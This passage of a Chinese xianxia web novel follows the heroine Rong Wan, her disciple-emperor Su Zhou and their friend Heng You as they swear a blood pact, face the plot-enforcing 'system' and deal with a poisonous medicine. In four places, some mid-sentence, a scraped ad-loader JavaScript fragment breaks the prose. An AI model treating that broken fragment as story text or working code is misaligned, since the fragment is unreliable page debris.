“没有。”容晚抚平皱痕,她缓缓移开夙昼身前的酒盏,就在鼎沸人声中说出一句话。 “从 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 此以后,你想要什么,便要靠自己,我不会再帮你了。” 刺人神魂的冷意落在夙昼心里。 平平淡淡的一句话,却比当年元灵尽碎时,还要痛上三分。 “好”夙昼道。 他的声音比往常要沉,少去过往讨容晚欢心的圆润,一字字冷如流云。 他曾答应永远相信容晚,凡事不再多问,却耐不住心中酸涩,浅浅道:“是因为您要回家了吗?” “嗯?”容晚不明所以,答:“我想回家啊,你不想吗?” “我做梦都想回家,想回去夙州,就在乌衣巷做一个纨绔公子,四处讨貌美姐姐的欢心。” 话落,他搁酒起身,眼中一片清明。 “师父,我送您回上因。” “嗯?”容晚见他神色有几分落寞,失笑道:“阿昼以为我要回上因?” “不是吗?”夙昼唇角扬起极浅的弧度。 容晚浅浅摇头,再未多言。 思及落落涧的四季有时,她不敢过于回忆真正的家,不然会很想很想,想到没有心力去走接下来的路。 “所以啊,从今日起,我就要做一个普普通通的容姑娘,不做什么上仙,也不做什么白衣国师。” 容晚说出此时最大的祈愿,默默在心中补上后一句。 只要等,等到结局那一日,我就可以回我的家。 “好。”夙昼从不拒绝她。 望向如今仙气薄弱,而更有人间烟火气的容晚,他心里滋味难言,仍是笑道:“自今日起,我来保护师父,让她往后都只作容姑娘。” “一言既出。” “君子守诺。” 二人不约而同笑出声。 容晚放远目光,河畔的水波在月光下泛着碎银,盏盏河灯如莲如花,开满一江碧波。 她提起裙摆,往河畔走。 夙昼望向手中的合欢莲灯,火红刺目,指尖一幻,莲灯便开在水波之上。 他走至容晚身后,问:“师父不许愿吗?” “你想许吗?”容晚反问。 “嗯。”夙昼还欲开口,便见容晚那双冷清眸染上笑意,唇角一扬,便笑出声。 “阿昼啊阿昼。看来你确实不太熟悉上因。不过也是,那样多的仙阶仙职我也分不清楚。但是,你要知道,这些莲灯的愿望在许下的一瞬,便会飘往上因,仙官载册,再视情况满足。我可不想上因界的仙官知道我的愿望,他们真的很无聊,会拿这些愿望去调笑,我不喜欢。” 容晚忽然俯身,推开堵在水草中的一盏莲灯。 夙昼脸色一黑,他再往水中望去,便再也看不见哪一盏是他放出的河灯。 夙昼:“……” 容晚忽然捂着嘴笑道:“阿昼,你是不是已经许过愿了?那我可要去上因问问小仙官,看一看你的愿望是什么?” 夙昼立刻起身,脚边是他扒拉过几盏莲灯,方才被堵在水草中,如今顺水波而去。 这水望不见尽头,望不见前路。 一如他的结局。 适时,一盏红色莲灯顺水游至容晚眼前。 她笑着说:“同我有缘,那我便他实现愿望,省得去上因排队……” 夙昼盯着这盏莲灯越看越熟悉,心道不妙! 51. 人间春日 莲灯飘至眼前,容晚拨弄水波,望着灯火由近至远,汇入一河春水。 “罢了罢了。”容晚擦去指尖水滴,“说好不做上仙了,容姑娘当然不能替他实现愿望。” “好。”夙昼柔声应她。 “甚好。” 容晚在和煦微风中扬起笑,眸光灵动, “陪我走走吧。就当春日踏春,祈愿来年。” 三月桃花正佳时。 顺着水畔,能瞧见细密花瓣顺水而下,沿着王城红墙往前走,一路上满园桃林,灼灼其华。 落花被风惊动,打着旋儿扑在他们衣角。 不知不觉间,他们绕城半周,穿行过喧嚣晚市,瞧过街边的摊贩买卖,听见吆喝叫卖声。 容晚停在整座王城口味最绝的桂花糕前,热气腾腾的糕点被掌柜递过来。 夙昼正欲付去碎银。 鬓发微白的掌柜摆摆手,道:“赠您吃,我瞧姑娘眼熟,就好像从前见过一般。” 掌柜见她不信,又说:“我虽是个卖糕点的,却识人不忘。姑娘面熟,可我偏偏想不起来,难不成是很多年前见过?” 他自问自答:“姑娘年岁尚浅,不可能不可能……” “也许真的见过呢。” 容晚但笑不语,指尖擦过夙昼掌心,递出去那些碎银。 桂花糕被打包递过来,夙昼迟疑一瞬,容晚便接了过去。 从她手中勾过细绳,夙昼一路无言。 他们心中明了。 那位掌柜没有撒谎。 早在夙昼十五六岁时,夙昼同容晚作赌,向来一手臭棋的他终于赢过一局。 夜黑风高时,夙昼从自家马厩里牵出两匹骏马,他们奔行半夜,赶在天光未名前抵达王城。 容晚带着他买过这家掌柜的桂花糕,彼时掌柜尚且是一个俊面郎君。 而后,他们在街角转处,看到一家热汤面的小铺子。 容晚问他:“要不要吃一碗?” 彼时夙昼一口气吃了两碗,他笃定说:“我们骑马疾行半夜,到不了王城。” 是啊。千里相隔,他们本应到不了。 只因容晚设下灵阵,昼夜可达。 容晚隐去真相,“也许是仙人相助呢?” 后来,夙昼同父母赶赴王城,他们骑马疾行,足足用了十来天。 望着同那日无二的街景,行人纷纷。 他猜测也许容晚有一位仙人朋友。 …… 如今回想,夙昼唏嘘不已。 他曾在一夕之间忘记她,后来只知仙人画像上的怜光上仙,他第一次望见时心有波澜。特意去问仙庙中的侍童,才知这位上仙从不入画。 再后来,雪夜寒凉,他被她救回家。 他不曾忘记雪冷血烫,记得她执起他手时,掌心里的温度。 蓦然冷意爬上身心,夙昼忽然道:“我陪师父走了一走,师父请我吃两碗热汤面,好不好?” 容晚同他在店中桌前坐下,食客填满了这间不大的铺子,他们只得挤在一张小桌前。 热气腾腾的三碗面端上来。 浅酱色汤汁里躺着细面,两颗青菜做点缀,绕在一颗白嫩的荷包蛋旁。 和从前味道没什么区别。 隔着氤氲雾气,容晚淡淡问:“为什么要两碗?” 夙昼埋头吃面,尝到熟悉的味道时,说:“我从前就是吃两碗。” “从前?”容晚骤然以为他在说过往,却惊觉他不该记得从前。 又问:“你从前来过王城?” “来过。”夙昼掩去那一次,说:“我和父亲母亲来过。” 夙昼吃完第一碗面,他静默许久,凝望着容晚的眼睛,语气平淡入水,看不出心下的不甘。 “那时候我知道,从王城到夙州有千里远,骑马疾行也要十来天。” “如今你灵力高深,便不会远了。”容晚道。 “这一次来,我有师父相助啊。” 夙州一笑,道:“师父是我平生见过最最好的仙人。” 他该是无心之说,但容晚莫名听懂了,听出那一层属于过往的隐晦之意。 “是容姑娘。”容晚道:“我不想做仙人了。” “是我忘记。”夙州说。 等他吃完第二碗汤面,容晚刚好吃完。 小店里的烛火晦暗,仅仅算是叫人能看清手下碗筷、眼前面容。 “阿昼,方才的那处桃林与王宫一墙之隔,我望见桃林深处有几方小院。” 夙昼静静听她说。 “你日后常在人间界,便为我在那里寻一处住处罢。” 许是容晚认真地凝视他。 所以夙昼眸色中那抹一晃而过的惊喜,他不自觉攥住的左手,乱掉的几分呼吸。 她都不曾错过。 许久,夙昼在桌上搁下一锭金子,嗓音似是几分黯哑,又似有哽咽。 “好。” 在春时落下第一场微雨时,容晚侍弄过苗圃里的数行灵植,还有角落里的一片菜地。 她挽起衣袖,松了一行土,便丢掉器具往屋内走。 此处几方小院连成一片,容晚用灵石通兑黄金,买下了此处小院和几里桃林。 夙昼本想赠她,却被容晚婉拒。 理由是—— 夙昼这些年一直供养着从落乌界顺来的那批乌卫,暗中又亲自培养一批高手,不必耗在买宅院这里。 夙昼:“……” 就在这一瞬,院外竹门轻响,玄色常服的帝王踏春而来。 自从夙昼即位祭祖之后,他接手人间界中事,作风狠厉,但偏偏行事稳健,也没什么不公不允。 唯一不同的,便是时间少了些。 “师父?”夙昼唤她。 透过窗扇,午后暖光落在容晚身上,她浅浅闭着双眸,好似睡熟一般。 如她境界的上仙本不需睡眠,容晚小憩,实则更似凝神冥想。 夙昼眸光温柔,搁下手中的锦盒,便捡起容晚锄地松土用的工具,替她一颗颗侍弄灵植。 容晚睁眼时,望见帝王背影,他比从前更加端方有态,行不动风,一举一动皆能窥见帝王威严。 “阿昼。”容晚披起长衫,缓步出屋。 正巧最后一颗灵植被夙昼浇过水。 春日午后,总是晴朗的。 夙昼望见容晚,先是欣喜,再是冷静,想起今日来的目的,却又觉生生憋着一口气。 夙昼连指尖泥泞也不曾擦,便将锦盒递给坐在石桌前的容晚,说:“几封诏书,几封传书,您自己看。” 他语气有些置气,唇角微微下垂,似是生气了,可微挑的眉又显得他几分无奈。 容晚正欲打开。 锦盒却被猛然拉远,夙昼用衣袖擦过锦盒上的几个泥指印,又将锦盒推过去,眸光落在容晚青葱般的白嫩指尖。 诏书和传书篇幅都不长,容晚看过后,语气微冷,“这些……是这几日才有寄送吗?” 夙昼犯错般避开她的目光,又侧过脸如何都不说话。 “回答。”容晚道。 夙昼忽然深呼一口,只觉春日气息如冬日那般冷,他语气比起平时快上几分,说:“自从师父丢了自己和墨麒的落乌灵牒,断掉所有传音灵阵。” 看似波澜不惊的夙昼,实则咬牙切齿,说:“上因的诏书日日来,除去三界悬赏白衣罪仙,其余的传书是……容皓要您回家。而落乌,褚尽欢只有今日递来一道传书。您也看到了。” 容晚有意逗他,问:“为何一封回家的诏书都没有?你藏起来了?怕我离开?” 夙昼:“……” “褚尽欢的传书我不想看,说了什么?”容晚问。 “无非是人间界争斗,师父您诳他那一回。您说以他之名,调他的兵。褚尽欢居然真的清点落乌界魔王、妖王麾下所有乌卫以及暗卫,直到今日清点完,却发现您耍了他一道。” 夙昼不得不承认,感慨道:“师父,您真的很了解他。我本以为他会不信,可是我以您形貌入落乌,在他的私阁里搁下两枚灵牒,被留影珠照得清清楚楚,他居然信了。” “阿昼,我与他……毕竟昔年同门,师出同一位师父,太过熟悉了。” 容晚若是不曾伤感,她便太过冷心冷情,哪怕是穿书一场,一千五百年的时光也太漫长。 她不免有些感时伤春,道:“而容皓毕竟是我表兄,哪怕我们再生隔阂,容皓罄竹难书,我也不可能亲手了结他。我和他们相识的时间太长,我了解他们的心思行事,就像他们了解我一样。” 指尖叩住锦盒,容晚将锦盒退回去,说:“他们找不到我,便将诏书传书统统寄给你。你看,他们也了解我不是吗?容皓和褚尽欢都知道,找到你,就能找到我。” 夙昼对于这两位宿敌,莫名生出几分嫉恨,说:“如若我也与师父再早些……” 话未说完,夙昼的心绪却因另一件事乱了。 他小心地问:“所以,您前些时日曾说,日后我想要什么,便只能靠自己,是因为……” “是,是因为他们太过了解我。我若插手共主之争,你可能会输,而我也会有些为难。” 容晚不去看帝王的俊朗容颜,眸光落向他身后的几里桃林。 林中突然惊起飞鸟,桃枝噼里啪啦落了满地。 天幕的灵阵符文波动。 “有人闯灵阵?”容晚只恐是容皓或褚尽欢,正起身时,晶白长剑已然劈风。 “师父,我去。”夙昼身影一散。 容晚心念微动,她戴上银丝面具,身形气质陡然转变,一息之间,便同 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 从前再无相似。 阵印波动了几瞬,忽然裂开一个缺口! 容晚还未隐去身形,便见阵印合拢,光雾之中,夙昼闲庭信步,缓缓走来,神色难言。 他侧过脸,下巴朝桃林扬了一瞬。 桃林中窜出一个黑炭般的人影,那人手里还拎着一只灵羊兽? 足足好半响,容晚认出黑脸的衡游,一团漆黑的墨色麒麟兽,无奈地笑了一声。 容晚撤去隐匿容貌之术,便要上前。 尽管查过衡游与魔气身上毫无追踪阵印,但夙昼恐生有变,他走在容晚半步前,一侧身便能护住她。 “又找到我了啊。”容晚毫不意外。 “为什么他能找到您?”夙昼百思不得其解。 “呵!你管我!你也不看看我们认识多久了?好吧!”衡游这才捏诀,恢复往日里装束,同夙昼玩笑。 容晚唇角有些抽动,忍住笑意问:“怎么搞成这样?” “你是躲得清闲。但是我呢?呵呵呵!先是在落乌给你找它!然后出落乌时,守境乌卫翻了一倍!”衡游赌气得将墨麒往她怀中一塞。 漆黑的墨色麒麟兽一扑,染得容晚衣裙似泼墨,转身从她身上跳下去。 “还有你!当了皇帝就当了皇帝,下得什么诏令,暂不与上因落乌互通?”衡游指着长眉微皱的夙昼,又道:“结果,我把这鬼麒麟在药汤里跑了那么久!才堪堪染成灵羊兽,结果——呵呵!” 衡游眸光一转,站在一块山石上,居高临下地望着两人,这才继续说:“你俩在这坐看雨后落花,是不是很美好?而我,抱着这个褪色鬼麒麟,既得躲追捕,又得隐藏踪迹!还问好意思问我为什么成这样?” 衡游抬起手,自上而下虚虚地比划了一大下。这些话语速极快,他口干舌燥地坐在石桌上,就着敞开瓶口的桃花酿一口灌下。然后四仰八叉地瘫在院中躺椅上。 夙昼眸色陡然冷下来。衡游所喝是他与容晚昔年同酿,总共就没几瓶。而那一瓶,是容晚方才启封,饮过一口的。 但他更介意的点在于,为何偏偏衡游能独自找到这里。 当时容晚设计虚诈褚尽欢,夙昼丢乌金灵牒时,墨麒百般不愿,跟着他跑去落乌,结果撞见一众乌卫,它跑得无知所踪。 容晚拜托衡游找寻墨麒,是在丢失当夜。而她前些天在桃林小院设阵时,她分明断绝所有传音灵阵,一道消息也没往外递。 所以为什么? “为什么上仙能找到我师父?”夙昼问。 衡游一愣,指着倚在桌旁,淡然洒脱的容晚,拍出几张刻痕拙劣的符纸,说:“你自己问她?” “是这个啊。”容晚指尖一抬,符纸自衡游手中飞来,落在桌上。 她无奈笑道:“找找符。” “是啊!怪我秘境考核时,总是拿下下品。怪她隐行匿踪的大考里,总是拿下下品。谁都不搭理我俩,只能抱团取暖,互惠互利。” 见夙昼茫然,衡游一愣,说:“这还不明白?也对,你这小子根本没在上因上仙学,说起来真费劲。” “哦。”夙昼尾音拖得有些长,显得失落。 “上因这两门学问呢,仙学学子都要修,考核不能提前结伴,只能和最先遇到的人一起考。所以我们做了找找符。”容晚耐心同他解释道:“衡游焚烧符纸,就能找到我。” 夙昼听他们的过往,明明有酸胀之意,却还是想听下去,问:“我还是不明白,为什么因为这件事,就要做找找符。” 两人俱是一愣,相视后尴尬一笑。 在衡游的示意下,容晚揭开她求学路上的黑历史,说:“有没有可能,我们俩各有所长,但不擅长的偏偏都是倒数第一。我们研究了其他人的品级,如果我们想要拿到中品,只能和对方一组。” “当然!”衡游忽然补充道:“这可不算徇私舞弊啊!考核允许用自制符纸的哦!不限功用。” 夙昼:“……” 明明他们一说一笑讲得是从前趣事,但夙昼就是不快,虎牙咬住舌尖,霎时痛意刺得灵识清明。 他似乎是容晚身旁,同她相识最短的人。容皓、衡游、褚尽欢、碧落……哪怕算上墨麒、那几只灵鸢。这一点仍是无法改变。 “诶?”衡游忽然想起正事,他不再玩笑,语气正经,说:“这药,只剩三瓶。算算如今时日,至少每月初一服一瓶。” 容晚打开瓷白小瓶,望见其中乌黑液体泛着白光,诡道禁阵、白诡火混在一起。 “一定要喝吗?”容晚问。 “你说呢?”衡游眼神一抬,催促道:“当然。” 这瓶难喝的鬼东西,种种剧毒,要人性命。它混有衡游所炼金丹,甚至是衡游亲手递给她的。 容晚递至唇边,在衡游的希冀下一口饮尽,问:“为什么这么对我?” 52. 人间春日 “不必不必,倒也不必这么感动。”衡游摆摆手,说:“虽说弄这灵药嘛是麻烦了点,麻烦了好多仙官,但是有我在,保证你月月吃上药,健健康康活过一千六。” “好啊。” 容晚眸中的冷光融化三分,她紧绷的脊背一松,在桌上加了酒盏,抬手招衡游过来坐。 “为什么是一千六?”夙昼问得颇为认真,神色露出几分焦灼。 师父曾说她在一日,便陪着他一日,容晚一千六百岁生辰并不遥远。 “别那么认真!”衡游说笑道:“一个白胡子老头儿给我俩算命,说我俩什么同甘共苦,都活不过一千六百岁。” 夙昼攥住手中的琉璃酒盏,几欲捏碎时,瞥见其上的桃花云纹,收了灵力。 这是师父喜爱的,所以不可以。 “衡游,你不要吓他。而阿昼,你不要担心。衡游已经过了一千六百岁生辰,所以不准的。” 容晚拎着酒壶为夙昼添过一杯酒。 “所以,阿昼不要多想,嗯?” 容晚的尾音微微上扬,却又那样轻。她语气缓和,像徐徐春风抚平夙昼的焦灼。 “咦……真是师徒情深。”衡游忽然沉下语调,声音透着极其悲哀的底色。 “可怜我那命薄的阿沐,现在还躺在冷冰冰的黑暗里。”他咬牙切齿,却重叹一声,唏嘘道:“早知当年不收他们为徒了,便在我那丹房里做两个小童子。” 薛沐之死的悲哀时时刻刻笼罩着他们,像一道密织的网,将他们三人牢牢锁在一起,密不可分。 薛沐于他们,是弟子,是挚友,是兄弟,更是曾经约好一起共建大业的伙伴。 他的离开,是第一抹痛彻心扉的血色,更是他们勇往直前的勇气。 “上仙,薛沐他……”夙昼喉间一痛,喊不出“弟弟”二字,唇齿颤了又颤,说:“我前些时日找到一封薛沐遗诏。我寄去数封传书,可上仙实在是踪迹不定,想来是没有收到。” “什么传书?”衡游问。 “薛沐不是说,要我给他修个大大的陵寝?他说那只是玩笑话。他不要葬入王陵,他想回上因,就埋在随便一处阳光普照的地方,上面载……” “再载一棵歪脖子松树。” 一时间,风的响动如此清晰。 他们三人静默着,望着彼此眼中含泪的眸光。 “今日天气很好,我们立个契约吧。”容晚见他们并未否认,才继续说:“世人成契,极少成天道契,也就是以指成契,唯十次尔,若违契,天罚诛灵。” “好。”夙昼欣然同意。 “立什么?所以这一契又是必死局?”衡游反问道。 “嗯。”容晚望向衡游,说:“上次是我不想你为难,不是不想你来。我没问问你的意思,是我的错,我道歉,道歉礼嘛,不如就……从前你输给我的所有灵剑灵器。所以……你来不来?” “来!”衡游神色一喜,人一开心,嘴角眉毛音调一起扬起来。 “你可想好了,阿意她毕竟是落乌众人……将来你们……”容晚思虑周全。 “容晚,我与阿意相爱是真。三界相争,我与她身份对立也是真。”衡游从来嬉笑闹个不停,他少有如此认真。 “那你为什么还要来?我说过,你可以不来的,我希望你幸福。”容晚不懂。 “你真不懂?也是,你在感情这里要笨死了……”衡游无奈道。 “容晚,爱是彼此尊重,是相互理解。我和阿意相爱,但不能因为我们相爱,便要一个人为另一个人牺牲。无论是饮食喜好,还是自由与立场,都不可以。” 衡游沉默了半响,回想起阿意,她在他面前总是面前乖顺娇俏,如今却裹挟一身黑雾,驰骋沙场。 眸光望向眼前虚无的阿意身影,衡游声音极其柔和:“爱应该给彼此想做、能做一切的自由,而非以相守为名的束缚。所以,三界相争,她有她的立场,我也有我的。” 这就是爱? 这便是爱吗? 一道泪光划过容晚的侧脸,她倚着石案,单手撑着下巴,眸光柔和。 那一滴泪落在石案上的声音很轻,夙昼清晰地听见,望见容晚的缱绻眸光,她不知在望什么。 是她不在此间的家吗? 向来喜爱喧闹的衡游,受不住这能静死人的静默,玩笑道:“所以——我不想选落乌,也不想选上因……” 他呼吸停了一瞬,语调是伪装的轻快,说:“所以我们就分道扬镳啦!” “衡游,你……”容晚不忍再问。 “师父……”夙昼眸色波澜不生,让人不辩喜怒,他其实心中方寸大乱,忽然忆起,当年断崖下,金光乌血几欲流尽时,他望见容晚时,忽觉一朵羸弱小白花的那处漆黑死地,映出微弱亮光。 那时他说,这光太弱,不足以叫他生。 如今星星点点、或大或小的荧光交缠、汇聚,却又在一瞬间怦然四溅,才映得见…… 一、二、三…… 数不尽的白色花朵遍生荒芜,处处皆有。无非是此处多一些,那处少一些。 明明只是一瞬的遐思,夙昼却听见胸膛之下一颗心的汹涌跳动,连灵脉血流的触感都那样清晰。 这是爱吗? 这便是爱吗? 就在夙昼生发遐思的这一瞬,风未停,桃枝一直颤动,醉人酒香一阵又一阵漫进口鼻。 “容晚,你要立什么契?”衡游问。 “为人间,共成大业;你我他,永不相疑。”容晚指尖飞出一道凝血的白色流光,飘向他们眼前。她笑着问:“你们来不来?现在还可以后悔——” 【警报:系统作出第九次违规通报,剩余一次】 【系统温馨提醒:您已偏离主线任务,系统为您重新规划当前节点】 【系统正在规划中……】 容晚眼前一白,似乎在一片混沌虚无中,只见茫茫纷白,连自己也看不见。 她少有时间静下心思考,她几乎以为这就是现实,其间人人都是鲜活的。 但此时的白色空间惊醒她。 原来这里还是那个任务。 那个看着、陪着他们走向结局的任务。 可是—— 任务。任务。只是任务吗? 从前她确实这样以为,什么上因落乌,什么仙魔凡人,不过是一本话本。 可后来,她见过上因界缭绕仙雾,在那里读过数百年的仙学,修过一千多年的剑法阵印,走过上因的角角落落。 她也看过落乌的璀璨星河, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 在那里也读过近百年书,同某个人交友,拜入同门,也曾和许多人大打出手,结仇至今。 独独人间,容晚待得最少。她却看见滚滚红尘里,最让她艳羡的芸芸众生。他们比仙修魔修更加自在洒脱,想修仙便修,不想修便不修。 不会像容晚和容皓那样,一出生便注定背负着修仙习剑、扛鼎上因的期望,也不会像许多仙官儿一样,在上因领着一份仙职,百年千年地做下去,永无止境。 人间当然会有阴暗到不见天光的罪恶。 但容晚莫名贪恋人间,也许是因为那里最像她真正的家,也许是那里有个同她相伴同玩、鲜活肆意的少年郎。 就是那样巧,容晚随随便便落下的一处人间,转过街角,便望见了乌衣巷外那颗繁茂的紫藤花树,她倚着树身浅息,一抬眸,便望见一个小孩吊着绳子,接了一段竹管,偷她的酒喝。 酒已空瓶,她无奈地拎着喝醉的小孩,挨家挨户地替他寻家。 容晚送他回家,望着夙府还未出言,门口的家仆便迎过来,唤他“小公子”。 那一日起,容晚住在了乌衣巷。 …… “系统啊,明明是你出错了,可为什么是我在这里深陷,舍不下那些情分,几近分不清话本与现实?” 容晚忽然有些自责,她咬住唇,忍下泪光,道:“明明一开始,我只是想回家……明明只要等就好了,却想许下开人间盛世的愿望,好让我离开后,这里的一些人、很多人能有归宿。我真是疯了——” 冰冷无情的系统音响起: 【公告:系统重新无法规划当前节点】 【系统回溯中……】 纷白一晃,怦然碎裂—— 风吹桃林,远望只见花枝枝条泛起波浪。 容晚眸光一亮,她那道凝血的白光正与一道血色、一道墨色的流光如丝如缕地交缠,显然化而为一。 原来是因为天道契已成,系统才无法重新规划吗? 那似乎他们的抗争真的可以改变故事的过程。 【系统温馨提醒:当前节点允许差值存在,关键节点与结局不允许差值存在】 容晚眸光一冷,只是望着那道契约的流光,分散至三人的灵脉处。 他们腕间的同一处,浮现出一枚极小的红痣。 夙昼望向自己的腕间,和师父的同一处,那一颗细小的红痣如针尖般一点大,可是…… 那枚弯月形的印记真丑啊! 明明容晚手腕素白,那弯月牙恰到好处,但偏偏夙昼觉得刺眼极了。 那是曾经容晚同褚尽欢的契约,为了不动兵刃换回他,答应了一件褚尽欢至今没想好的事。 “容晚。”衡游忽然出声,问:“你还剩几契啊?我记得好像没几根手指能用了。” “数数……”容晚翘起无名指,又想起那个抢走她麒麟兽的人,说:“没了。” 闻言,夙昼蓦然垂眸,望着自己空空如也、未成契约的九根手指。 “没了啊?哈哈哈!我说,你不留一契和将来的心上人许合欢契?”衡游坏笑道:“谁背叛谁死的那种?” “刚刚怎么不说?”容晚眉头一皱。 “师父?”夙昼喉间一哽。 难道她、已有心上人了吗? 53. 人间春日 “谁背叛谁死,听起来真的很不错。” 容晚斟酒三杯,玩笑说:“要不要再加上这一句?” 三人腕间的细小红痣发光发亮。 “难道我玩不起吗?容晚,你真是小瞧我了!”衡游端起酒盏,拍桌而立,一口饮尽。又见夙昼面前空空如也的酒盏,问:“你师父不是给你酒了吗?” “是。”夙昼道:“我喝过了。” “啊?”衡游惊觉自己仿佛示意了。 “有,阿昼答应得比你快,比你早。”容晚面上浅浅笑意,说:“谁让你一开口就滔滔不绝啊?在我说完‘谁背叛谁死’的下一瞬,他就答应了。” 察觉到衡游置气般的目光,容晚侧脸躲过去,望见外表波澜不惊,指尖转着空酒盏的夙昼。 从少时的敏感脆弱,后来有些轻狂,到如今闲庭信步,做什么都游刃有余。 她再不必为他担心。 雨后赏花,初日正晴。 衡游忽然起兴,拉着他们俩一起玩仙魔棋。输给容晚三五回,便再也不同她下。 衡游胆颤心惊地和夙昼下,开局不过一会儿,眉头渐渐舒展,继而哈哈大笑,“臭棋篓子!哈哈哈!” “再来。”夙昼不动声色地恢复棋局,道:“上仙先手。” “我让你?”衡游坏笑道。 “上仙请。”夙昼抬手示礼,克制住唇角不会垂落。下至一半,夙昼嫌外袍广袖太碍事,脱在一旁。 “哈哈哈!脱衣裳你也输定了!”衡游一顿嘲笑。 “再来。”夙昼身形一僵,正襟危坐。 “一手臭棋哈哈哈!” “……” 听着他们欢声笑语,容晚望向纷纷桃林,清爽淡雅的气味同酒香交织,杯盏中的冷酒竟能品出桃花酿的气味。 在上因修习时,夙昼好胜心强,从不服输。和旁人比剑输了,也是这样,唇一抿,嘴角一勾,一侧的虎牙尖便露出来,露出一副猛禽捕食的姿态。提着剑又冲回去。 过往岁月在他身上留下痕迹,带回上因的少年郎,怀有向死之心,常常寻死觅活。 而今日威风凛凛的青年帝王,再也不会放弃自己的生命。 容晚渐渐有些困,许是这里是烟火人间,又或许是耳畔的热闹人声让她生出眷恋。 这里是家的感觉,像她真正的家。 可是—— 她不应该会困。 等容晚睁开双眼时,她躺在屋内的软榻上,一侧眸,透过窗扇能望见无边桃林,花枝乱颤。 衡游蹲在苗圃里侍弄灵植,容晚只能望见他的背影,道:“衡游?” “醒了?”衡游身形一幻,直落她眼前,道:“伸手。” 容晚递过手腕,问:“阿昼走了?” “等会说,别说话。”衡游细细把过她的灵脉,探过许久,才说:“另一只手。” 容晚换过手腕,又听他说:“呼吸。” 待衡游收回手,她问:“我怎么会困?” “困?”衡游语气又惊又急,说:“你这是痛晕了好吧。” “可是我不痛。”容晚不得其解。 “你当然不痛,不然……早就疼死了。”衡游递过来一碗药汤,说:“喝药。” “哦。”容晚眸光不解,她温吞吞地喝过药。 “以后觉得困了,就吃这个。”衡游塞给她一瓶丹丸,又去拎来药箱,拿出明晃晃的灵针,笑眯眯地挑了下眉,说:“伸手。” “你也要把我扎成刺猬吗?”容晚递去手,却想起上一次夙昼躺着,被扎成刺猬。 “也?你还挺惦记他,也没见得想起我这个劳心劳力在这拔草熬药的?”衡游反问。 “衡游,谢谢你。我真心的。” “哦,那用什么谢?灵石?算了,还是黄金吧。谢多少?” “……都行,你尽管开口。” “这么大方了?”衡游瞪大双眼。 “嗯。”容晚问:“所以阿昼走了,回王宫去了吗?你说实话。” “你要不要喝——” “衡游。”容晚语气更像是无奈的训斥。 “好了好了,我都说了你想知道什么自己问她呗!”衡游径直朝外走去,推开门扇,本该在此的夙昼已然不见。 衡游猛然一回身,只见夙昼乖乖巧巧地站在容晚眼前。 容晚眸光如雾般朦胧,她扫视过他们的面容,声音似乎被一阵风吹散。 她问:“阿昼想问什么?” “我……”夙昼闭了下眸,偏过头去说:“师父,我不问了。” “诶?你这小子怎么怕了?”衡游过来替容晚扎灵针,又说:“他担心你。” “我知道。”容晚眸光柔和,她笑问:“阿昼,你想问,我会答。” “不,不……我不问了。”夙昼缓缓摇头,容晚倚靠在软塌上,神采比从前褪色三分,他心如刀绞,却说:“您想说的话,我无需问。师父,上仙,我还有事,先走了。” 直到夙昼离开,衡游才缓过神,问:“你不是让他问?他怎么走了?” “因为我有话和你说。”容晚望向夙昼离开的方向,说:“而且我要说,不想他知道的事。” “所以……”容晚收回眸光,“他走了。” “终于要坦白了?来,让我听听是谁有那么大能耐,让我们第一上仙许下天道契,结果还违契了?”衡游拉过一方圆凳,手中拎着酒壶往容晚身旁一坐。 “你果然知道。”容晚又问:“你知道多少?不,容皓和你提起过多少?” “你受伤那一日,首座递来一道传音,要我孤身去禁狱诡道。他说你们关系紧张,他若来送,你必定不要。所以,他给了我那几瓶灵药,拜托我寄给你。” “那——”容晚还想问。 “好了,一问换一问,该我了。” 衡游神色忽然冷下来,他直直望向容晚,问:“你明明有那样多次的机会问我,为什么现在才问我?” “我……” “因为你对我起疑了是不是?你担心我会选择落乌上因,而非人间,对不对?你有过那么一丝丝的念头,觉得我不会选择同你站在一边?是不是?” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 衡游的语调往上扬,他眸中的怒意也越演愈烈。 “是,我承认,我有过疑你之心。”容晚坦白说:“我道歉,但是我不后悔——” “这还差不多。”衡游愠怒未平,气息不稳,他只是叹口气说:“就算疑我又怎么样?那瓶灵药还不是一口气喝下去了?” 他声音里只听得见浓厚的担忧,“容晚,要是那里面真的有毒怎么办啊?” 什么?衡游是真的不知道那是剧毒。 容晚蓦然握拳,惊觉扎满灵针的手一点也不会痛。 “容晚,你疯了!”衡游随即拦她。 容晚执拗地攥拳,血顺着指缝流出,毫无感觉。 松手后,衡游替她取下灵针。 “那难喝的鬼东西还有吗?”容晚问。 “就剩两瓶了。”衡游递给她,说:“容皓那日还说,药尽之前,你必须回上因,不然真的会死。” “哦。那你研析过其中都是什么吗?”容晚晃动着瓶内的液体,乌黑、粘稠、泛着白光、禁阵密咒无数碎成渣。 “这玩意儿,很古怪,用什么容器盛都炸,炸废了我好些丹炉,还没研究出什么成分。不过你放心,当然没有毒!我问了容皓,我问:‘容晚最近不理首座您,所以药不会有毒吧?’结果——容皓脸色僵得好难看。” “……然后呢?”容晚眉心一蹙。 “容皓什么也没说,但是拿过一瓶就喝了下去,还扬起来给我看空瓶。”衡游颇为得意。 “你还真是不怕他。”容晚只得提醒他:“容皓没有那么温和,你以后躲着他点,小心他发疯。” “容皓不会动我,他说我是你在上因唯一的朋友,所以让我想想清楚……我到底要站在谁的立场。他知道我不会选褚尽欢,也不会选他,但他就是不敢肯定,我到底会不会选你?” “容晚,我不是在劝你。”衡游说:“要是我能练得出那药,你不想回上因就不必回了。可是……我不行。” 向来自恃灵植医药无不精通的衡游,眸中尽是挫败,他强调道:“但是我真的想你活着啊!如果那个神神叨叨的算命仙官把我算错了,但把你算准了怎么办?” “你咒我啊?”容晚浅浅笑道:“衡游,你希望我放下这里的一切回去找容皓吗?” “我希望你活下来。”衡游道。 “哦,衡游,你总是脑袋瓜转得要比我慢上几圈。”容晚似笑非笑,提醒道:“容皓要我回去,目的是什么?” 